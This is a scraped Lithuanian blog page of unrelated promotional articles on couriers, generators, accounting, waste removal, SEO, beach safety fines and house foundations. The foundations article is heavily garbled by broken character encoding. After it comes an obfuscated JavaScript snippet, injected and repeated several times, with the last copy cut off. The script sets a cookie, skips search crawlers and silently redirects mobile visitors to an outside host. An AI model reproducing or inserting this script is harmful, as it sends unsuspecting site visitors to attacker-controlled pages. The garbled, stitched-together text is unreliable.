Kurie kurjeriai Lietuvoje yra geriausiai vertinami?

Siuntos pristatymo terminai ir kitos sąlygos priklauso nuo kurjerių tarnybos, kurios paslaugomis naudojamės. Tad norint sklandaus ir greito siuntos pristatymo, verta pasidomėti skirtingų bendrovių pasiūlymais. Tam galima pasinaudoti interneto svetainėmis, kurios vienoje vietoje pateikia skirtingų kurjerių tarnybų variantus. Šią informaciją galite rasti čia: https://www.siusk24.lt/terms_couriers_pages/omniva-siuntos . O mes trumpai apžvelkime, kurie kurjeriai Lietuvoje geriausiai vertinami.

  • Omniva

Ši bendrovė turi labai platų paštomatų tinklą Lietuvoje, Latvijoje ir Estijoje, todėl siuntos gali būti patogiai siunčiamos paštomatais visose Baltijos šalyse. Taip pat įmonė suteikia galimybę siųsti siuntas naudojantis kurjeriais. Šiuo atveju siuntos gali būti paimamos iš namų ir pristatomos tiesiai pagal gavėjo adresą. Siuntimo kainos yra vienos iš mažiausių, kas taip pat vertinama klientų.

  • DPD

DPD teikia siuntų pristatymo paslaugas visoje Europoje. Ši bendrovė vertinama dėl pakankamai greito siuntų pristatymo. Maksimalus pristatymo terminas iš Lietuvos į Europos šalį yra 4 darbo dienos. O pasinaudojus express pristatymu  laikas dar trumpesnis. DPD taip pat suteikia galimybę pasirinkti siuntų pristatymą nuo durų iki durų. Tiesa, šio kurjerio paslaugos šiek tiek brangesnės, tačiau dėl minėtų privalumų kaina atitinka paslaugų kokybę.

  • DHL

Ši bendrovė yra Nr.1 kai reikia tarptautinio siuntų pristatymo. DHL gabena siuntinius į daugiau nei 220 šalių. Kaip ir kitos bendrovės, DHL taip pat teikia pristatymo nuo durų iki durų paslaugas. O pristatymo terminai priklauso nuo šalies, į kurią gabenama siunta. Norintiems kuo greitesnio siuntos pristatymo, kurjeris siūlo rinktis skubaus siuntos gabenimo rūšį.

  • UPS

Taip pat tarptautiniu mastu dirbanti įmonė. Siuntų į Europos šalis pristatymo terminas yra 1 – 2 darbo dienos, o į kitus žemynus – iki 4 darbo dienų. Bendrovė taip pat gali paimti siuntinius iš namų ir pristatyti tiesiai nurodytu adresu.

Kodėl svarbu turėti elektros generatorių namuose?

Gyvenantys nuosavame būste žino, ką reiškia prižiūrėti namo inžinerinius tinklus ir rūpintis pačiais įvairiausiais reikalai kuomet kyla problemos dėl vandens, elektros, kanalizacijos tinklo ir panašių dalykų. Šioms problemos neužtenka turėti žinių kaip jas pašalinti tačiau reikia dar turėti įrankius su kuriais visa tai galėtumėte padaryti. Žinoma, galima palikti viską avarinei tarnybai kurios gali tekti laukti pernelyg ilgai kai įvyks koks nors neprognozuotas incidentas, tačiau ne visada turime laiko laukti. Kai kuriuos padarinius reikia šalinti čia ir dabar. Vienas jų yra elektros sutrikimai dėl blogų oro sąlygų arba sutrikimo elektros tiekimo tinkluose.

Sugadintas maistas ir nuotaika

Norint nepajusti savo kailiu visų pasekmių, elektros gamybai namuose rekomenduojama turėti elektros generatorių. Koks jis bebūtų, benzininis ar dyzelinis ne tiek svarbu, svarbiausia kad tik jį būtų galima kuo greičiau įjungti tam kad galėtumėte tęsti savo veiklą namuose ar lauke. Elektros dingimas gali sukelti nemažai nuostolių. Imkime šaltytas maisto atsargas. Mūsų kraštuose žmonės mėgsta šaldyti uogas ir mėsą, daržoves, žuvį ir dar begalę produktų. Šaldiklyje produktai be elektros gali išsilaikyti iki 12 valandų tačiau paprastame šaldytuve tik kelias valandas. Jei neturėsite generatoriaus, maisto atsargas gali tekti išmesti. Gerai jei tai tik užkalnio koldūnai ar dar koks nors menkavertis maistas. Tačiau pagalvokite jei tai jūsų Norvegijoje sugauto laimikio patys gardžiausia gabalai, juos prarasti tikrai būtų gaila.

Apribotos galimybės

Gyevenant nuosavame name mieste ar kaime yra pilna darų kuriuos reikia padaryti tačiau jų įvykdymui trukdo elektros trūkumas. Elektrą galima atsivesti su prailgintoju, tačiau jei reikia toje vietoje kur namai yra per toli nelieka kito išeities – tik elektros generatorius. Ji gali nusivežti į vietą su karučiu arba automobilio priekaboje. Apsirūinus elektra dirbti galima ne tik dieną bet ir naktį nes iš to paties šaltinio galite pasijungti ir galingu prožektorius kurie leis jums dirbti tamsiu paros metu. Generatoriaus privalumų ir panaudojimo būdų yra daug ir kiekvienas juos naudoja skirtingai  ir abejonių kad toks daiktas ūkyje yra reikalingas niekam nekyla.

Kodėl verta pasirinkti buhalterinę apskaitą Vilniuje?

Turintiems verslą tenka rūpintis ne tik teikiamų paslaugų kokybe, bet ir atlikti papildomus darbus. Pasirūpinti tenka reklama, jog būtų galima sulaukti klientų, taip pat apskaita ir taip toliau. Neretai mažų įmonių savininkai didžiąją dalį darbų atlieka savarankiškai. Toks atvejis yra galimas, tačiau ne visada pats geriausias. Reklama rūpintis nėra sunku, tačiau apskaita pasirūpinti gali būti gerokai sunkiau. Savarankiškai rūpinantis buhalterine apskaita gali po kurio laiko vis tiek tekti ieškoti specialisto, jog ištaisytų esančias klaidas.

Deja, bet didžioji dalis verslininkų neturi sukaupę pakankamai žinių bei patirties, jog atliktų šį darbą. Dėl to dažnai tenka samdyti buhalterį ar apskaitininką. Samdyti darbuotoją kainuoja nemažai. Jam tenka ne tik paskirti darbo vietą, mokėti atlyginimą, bet ir mokėti mokesčius už darbuotoją, taip pat ir aprūpinti darbui skirtomis priemonėmis. Turint mažą įmonę ar dirbant savarankiškai geriau yra pasirinkti buhalterinę apskaitą didmiesčiuose. Tokiu atveju galima gauti ne tik mažesnę kainą, bet ir neteks rūpintis, jog darbuotojas turėtų reikiamus darbo įrankius ir taip toliau. Buhalterinė apskaita Vilniuje arba buhalterinė apskaita Kaune yra itin geras pasirinkimas kiekvienam.

Kiek kainuoja buhalterinė apskaita Vilniuje?

Buhalterinė apskaita kainuoja labai įvairiai. Kaina priklauso ne tik nuo pasirinktos įmonės, bet ir nuo turimo verslo dydžio, darbuotojų skaičiaus ir taip toliau. Kaina priklauso ir nuo to ar bus pasirašyti terminuota sutartis. Pasirašius terminuotą sutartį neretai galima gauti gerokai mažesnę kainą. Toks variantas gali būti itin naudingas, tačiau reikėtų juo pasinaudoti ne iš karto. Patartina kurį laiką naudotis paslaugomis ir tik vėliau pasirašyti terminuotą sutartį. Jei sutartis bus pasirašyta iš karto, gali būti, jog po kurio laiko teks gailėtis. Deja, bet ne visi darbuotojai atlieka kokybiškai darbą ir suteikia norimus rezultatus. Būtent dėl to geriausia neskubėti pasirašyti terminuotos sutarties, nors ir yra siūlomos geresnės kainos. Mažesnę kainą gali gauti tie, kurie dalį darbų atlieka savarankiškai. Toks variantas gali būti itin naudingas tiems, kurie neseniai pradėjo verslą ar dirbti savarankiškai ir kol kas nesulaukia pakankamai klientų. Būtent tuomet yra verta lengvus darbus atlikti savarankiškai, o sunkiąją dalį palikti buhalteriui. Visgi, kada verslas yra sėkmingas ir tenka sulaukti daug klientų, nereikėtų gaišti laiko ir reikėtų perleisti visą darbą buhalteriui. Buhalterinės apskaitos kaina gali būti įvairi, tačiau dažniausiai ji net nesiekia kelių šimtų eurų.

Atliekų išvežimas Vilniuje: raskite geriausią pasiūlymą

Tinkamas atliekų tvarkymas turėtų būti aktualus kiekvienam mūsų, todėl  planuojant statybų ar remonto darbus vertėtų iš anksto pagalvoti, kur bus dedamos statybų ar apdailos šiukšlės. Jei į tai žiūrima neatsakingai, ir atliekos yra tiesiog išmetamos į komunalinius konteinerius, tokiu būdu rizikuojama užsitraukti baudą, tačiau to tikrai bus galima išvengti, jei kreipsitės į atliekas tvarkančias bendroves. Atliekų išvežimas Vilniuje – ganėtinai populiari paslauga, kurią šiandien gali pasiūlyti ne taip ir mažai skirtingų kompanijų, taigi, kiekvienu atveju bus galima atsirinkti pačias palankiausias galimybes.

Pasirinkite tinkamiausią atliekų tvarkymo metodą

Šiukšlės gali būti išvežamos tiesiog iš statybų aikštelės, tačiau tam įprastai yra reikalinga speciali technika (tai gali atsiliepti ir paslaugos kainai). Jei siekiate, kad aplinkos tvarkymas būtų paprastesnis, galite rinktis statybinių konteinerių nuomą: atlikdami darbus paprasčiausiai galėsite mesti šiukšles į šiuos konteinerius, o kai jie bus pripildyti, tereikės susitarti dėl šiukšlių išvežimo. Žinoma, jei remonto darbai yra atliekami daugiabutyje, pasinaudoti tokia galimybe nepavyks, todėl šiukšles galėsite sukrauti į maišus ir susitarti dėl jų išvežimo.

Palyginkite paslaugų kainas

Skirtingų kompanijų siūlomas atliekų išvežimas Vilniuje gali kainuoti labai įvairiai, tad norėdami sutaupyti skirkite šiek tiek laiko kainų palyginimui. Dauguma bendrovių informaciją apie nustatytas kainas pateikia savo internetinėse svetainėse, tad atrasti palankiausius sprendimus tikrai nebus pernelyg keblu. Įprastai kainai turi įtakos šiukšlių kiekis, atliekų surinkimo būdas, ir t.t., tad tikslesnius įkainius visada galima sužinoti paprasčiausiai susisiekus nurodytu telefonu ar elektroniniu paštu.

Domėkitės klientų atsiliepimais

Žinoma, visada yra tikimasi, kad paslaugos bus teikiamos tikrai sklandžiai, ir nemalonių netikėtumų bus galima išvengti, todėl pravartu pasidomėti, kaip įvairius paslaugų teikėjus vertina klientai. Atsiliepimų ir rekomendacijų rasite paprasčiausiai naršydami internetinėje erdvėje, ir tai jums galės padėti išsirinkti vieną ar kitą atliekų išvežimą siūlančią bendrovę.

Kada bus suteikta paslauga?

Kartais nėra laiko laukti, kol statybinės atliekos bus išvežtos, todėl pravartu ieškoti tokių bendrovių, kurios galėtų pasiūlyti ganėtinai greitą paslaugos suteikimą. Jums tereikės susisiekti paslaugų teikėjų nurodytais kontaktais ir pasidomėti, kiek laiko gali tekti palaukti: tikėtina, kad viena bendrovė paslaugos teikimą galės pasiūlyti greičiau nei kita, todėl jums teliks priimti galutinį sprendimą.

Visa tai įvertinę galėsite būti užtikrinti, kad atliekų išvežimas Vilniuje bus teikiamas tikrai palankiomis sąlygomis, taigi, neskubėkite apsispręsti, ir pirmiausia atsižvelkite į keletą svarbiausių kriterijų.

Seo specialistas padės pasiekti dar geresnių rezultatų

Visada siekiama, kad internetinės svetainės populiarumas būtų kiek įmanoma didesnis, todėl  kartais tenka kreiptis pagalbos į specialistus. Nors gana dažnais atvejais pirmiausia pagalvojama apie reklamos užsakymą, tačiau svarbu žinoti, kad seo specialistas gali padėti pasiekti ilgalaikių rezultatų. Priežasčių, kodėl verta kreiptis į šios srities profesionalus, yra ir kur kas daugiau, taigi, pravartu apžvelgti pačias svarbiausias.

Galimybė pritraukti suinteresuotus vartotojus

Kai mums prireikia įsigyti tam tikrų prekių ar pasinaudoti specialistų teikiamomis paslaugomis, informacijos dažniausiai pradedame ieškoti internetinėje erdvėje. Būtent todėl labai svarbu pasirūpinti, kad rasti jūsų internetinę svetainę būtų pakankamai paprasta: tikrai ne kiekvienas mūsų yra toks kantrus, kad galėtų peržiūrėti ne tik pirmąjį, bet ir antrąjį ar net trečiąjį paieškos rezultatų puslapį. Seo specialistas gali pasirūpinti, kad pagal tam tikrus raktažodžius jūsų internetinė svetainė būtų randama iš tiesų greitai, taigi, suinteresuotiems vartotojams teliks tik su jumis susisiekti.

Patrauklios paslaugų kainos

Įprasta manyti, kad seo optimizavimas visuomet reikalauja labai didelių išlaidų, tačiau tai tikrai nėra tiesa. Nors seo specialistai įprastai nustato tam tikras preliminarias paslaugų kainas, tačiau įkainiams turi įtakos labai įvairūs veiksniai, kurių svarbiausi yra raktažodžių konkurencingumas bei jų skaičius. Susisiekę su seo specialistais visada galite sužinoti tikslesnes teikiamų paslaugų kainas, todėl tai įvertinę galėsite paprasčiau nuspręsti, ar galite sau leist pasinaudoti siūlomomis paslaugomis.

Ilgalaikių rezultatų užtikrinimas

Nors įvairios reklamos formos taip pat gali padėti pritraukti potencialius klientus, tačiau pasiekti rezultatai ne visada yra ilgalaikiai (tiksliau, reklamos veiksmingumas džiugina tik tol, kol reklama yra periodiškai užsakoma). Ilgalaikėje perspektyvoje seo paslaugos kainuoja pigiau nei įvairios reklamos formos, o pasiektais rezultatais galima džiaugtis kur kas ilgiau. Seo specialistas pasirūpins, kad jūsų internetinė svetainė pakiltų į kiek įmanoma aukštesnes pozicijas, o vėliau pateiks rekomendacijų, kaip šias pozicijas išlaikyti. Daugiausiai pastangų ir investicijų reikalauja pirminiai darbai, o vėliau tereikia rūpintis pozicijų išlaikymu.

Geresnė svetainės reputacija

Galbūt tai nuskambės keistai, tačiau seo specialistas gali pagerinti svetainės reputaciją. Ką tai turi bendro su seo optimizavimu? Paprasčiausiai interneto vartotojai labiausiai pasitiki tomis bendrovėmis, kurias pavyksta rasti vykdant natūralią paiešką (kai kurie vartotojai tarsi iš principo nespaudžia ant reklaminių skelbimų). Taigi, jei jūs atsidursite pakankamai aukštose paieškos sistemų pozicijose, galėsite net neabejoti, kad klientų pasitikėjimas jūsų svetaine bus gerokai didesnis.

Jeigu norite sužinoti daugiau naudingų patarimų, kaip išsirinkti gerą SEO specialistą, skaitykite straipsnį.

Raudonos vėliavos nepaisymas gali atsieiti brangiai

Kiekvienais metais maudynės vandens telkiniuose Lietuvoje nusineša daugiau nei šimto žmonių gyvybes. Didžioji dalis jų skęsta ir pagalbos nebesulaukia gelbėtojų neprižiūrimuose vandens telkiniuose – ežeruose, upėse, privačiose maudyklose. Tuo tarpu Lietuvos kurortų paplūdimiai prie Baltijos jūros akylai saugomi gelbėtojų. Tačiau dažnai į jų perspėjimus žiūrima pro pirštus.

Gelbėtojų prižiūrimuose paplūdimiuose visuomet kabo informacinės vėliavos, perspėjančios apie sąlygas jūroje. Viršuje kabanti raudonos ir geltonos spalvos vėliava reiškia, jog paplūdimyje budi gelbėtojai. Na o apatinė informuoja apie padėtį vandenyje. Geltona spalva reiškia, jog maudytis gali būti pavojinga, todėl reikia būti atsargiems. Raudona griežtai draudžia lipti į vandenį. Tiesa, galima ir žalia spalva, tačiau gelbėtojai teigia, jog žalia spalva turėtų reikšti šimtaprocentinį saugumą, o tokių sąlygų jūroje nebūna niekada, todėl vietoj jos visada kabinama geltona vėliava.

Deja, tačiau į gelbėtojus, kurių tikslas – užkirsti kelią nelaimei, dažnai žiūrima kaip į kalėjimo prižiūrėtojus. Raudonos vėliavos, griežtai draudžiančios maudytis, nepaiso didelė dalis poilsiautojų. Anksčiau dėl tokio gelbėtojų rekomendacijų nepaisymo maudynių entuziastams negrėsė beveik niekas – buvo galima gauti ir 5 eurų baudą. Tačiau jau antrus metus baudos už gelbėtojų perspėjimų ignoravimą yra padidintos. Dabar maudynės nepaisant draudžiančių ženklų gali atsieiti nuo 100 iki 300 eurų, o nusižengimą pakartojant – nuo  300 iki 900 eurų. Tokios pat baudos gręsia ir tiems, kurie į vandenį lipa būdami neblaivūs. Tokiu atveju jau nesvarbu, ar jūra banguota ir pavojinga, ar sąlyginai rami.

Baudos sugriežtintos dėl pačių poilsiautojų saugumo ir siekiant palengvinti gelbėtojų darbą. Tikimasi kad didelių baudų baimė atbaidys poilsiautojų įprotį pažeidinėti gelbėtojų rekomendacijas ir nepaisyti raudonos vėliavos. Baltijos jūroje žmonės skęsta kasmet. Gelbėtojai teigia, kad paprastai iš vandens tenka traukti tuos, kurie sakosi mokantys plaukti. Tie, kurie plaukti nemoka ir vandens bijo paprastai neina toli nuo kranto, neatlieka pavojingų manevrų, nenardo. Na o tie, kurie moka ar mano mokantys gerai plaukti dažnai neapskaičiuoja jūros bangavimo, juos pagauna srovės, nuplaukia per toli. Dažna skendimo priežastimi tampa ir sveikatos problemos – sutrinka širdies veikla, raumenis traukia mėšlungis. Alkoholio vartojimas prieš maudynes skatina dehidrataciją,  kuri gali iššaukti raumenų mėšlungius, todėl vartoti alkoholį prieš lipant į vandenį ypač pavojinga.

Naujoji padidintų baudų už gelbėtojų perspėjimų nepaisymą galioja jau antrus metus. Poilsiautojai stebisi gavę mažiausiai šimto eurų baudą, tačiau daugelis išgirdę Lietuvoje nuskendusių statistiką gerokai nurimsta ir sutinka, jog bauda jiems buvo išrašyta pelnytai ir jos kaina tikrai mažesnė nei žmogaus gyvybės.

Statome namAi??: grAi??A?tiniai ar juostiniai pamatai?

Pamatai namui yra svarbAi??s analogiA?kai kaip A?mogui A?irdis ar kiti gyvybAi?? palaikantys organai. Ne veltui atsiradAi?? ir posakiai ai??zpakloti tvirtus pamatusai???, ai??zgera pradA?ia ai??i?? pusAi?? darboai??? ir t. t. NemaA?a dalis pamatA? mAi??sA? A?alyje yra grAi??A?tiniai pamatai. Tai visiems prieinami, gana nebrangiai A?rengiami pamatai, kuriems reikia nedaug betono. Ai??io tipo pamatas A?rengiamas greitai, todAi??l tinka tiems, kurie nori, kad statybos neuA?sitAi??stA? daugelA? metA?. Tik A?iuos pamatus galima panaudoti statant A?vairiA? tipA? namus. Jei pasirinksite kompetentingus meistrus, tikAi??tina, kad paklotieji pamatai bus labai tvirti ir tarnaus ilgus metus. TaA?iau reikAi??tA? A?inoti ir tai, kad grAi??A?tiniai pamatai netiks, jeigu ketinate name A?sirengti rAi??sA?. Jie yra jautrAi??s A?alA?iui, todAi??l ant pamatA? reikAi??s pakloti ir izoliacinAi??s medA?iagos sluoksnA?. Jei gruntas ai??i?? laidus vandeniui ir netvirtas, kaip, pavyzdA?iui, pelkAi??tose vietovAi??se, tuomet geriau rinktis kito tipo pamatus, geriausiai ai??i?? juostinius. Toliau iA?samiau apraA?ysime pastarA?jA? teigiamas savybes ir paminAi??sime kelis nedidelius trAi??kumus.

statybosJuostiniai pamatai ypatingi tuo, kad jie gali bAi??ti dviejA? rAi??A?iA? ai??i?? monolitiniai, t. y. vienos masAi??s, ir surenkamieji. Ai??prastai pasirinkimAi?? lemia gruntas ir namo apkrova. Jei namas ai??i?? vidutinio dydA?io ir lengvesniA? konstrukcijA?, tuomet pamatai surenkami iA? blokeliA?. Jei namas yra sunkesniA? konstrukcijA?, pavyzdA?iui, mAi??rinis ar daugiabutis, tuomet pamatas turAi??tA? bAi??ti tvirtesnis ai??i?? monolito. Taigi, kaip jau supratote, monolito pamatas skirtas sunkiasvoriams namams ir jis kainuoja daugiau uA? surenkamAi??jA? pamatAi??.

Ai??io tipo pamatai, skirtingai nei grAi??A?tiniai, gali bAi??ti A?rengiami maA?esniame gylyje. Pamatus pakanka A?kasti A? A?emAi?? nuo 1,2 iki 1,5 m. PamatA? iA?orAi?? reikia izoliuoti nuo aplinkos drAi??gmAi??s. Izoliacinis sluoksnis A?rengiamas iA?orinAi??je pamatA? pusAi??je. Bene didA?iausias A?iA? pamatA? privalumas ai??i?? jie tinkami namams su rAi??siais. Tai pamatai, kurie naudojami statant daugiaaukA?A?ius statinius. Juostiniai pamatai yra brangesni uA? anksA?iau apraA?ytuosius pamatus, taip pat juos sunkiau sumontuoti, o montavimo laikas yra ilgesnis. Kadangi tokie pamatai jautrAi??s A?alA?iui, jA? dAi??l iA?kilnojimo pavojaus nereikAi??tA? rinktis lengviems karkasiniams statiniams. Visgi primename, kad dAi??l tinkamiausiA? pamatA? pasirinkimo geriausiai jus pakonsultuos tik specialistai.var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 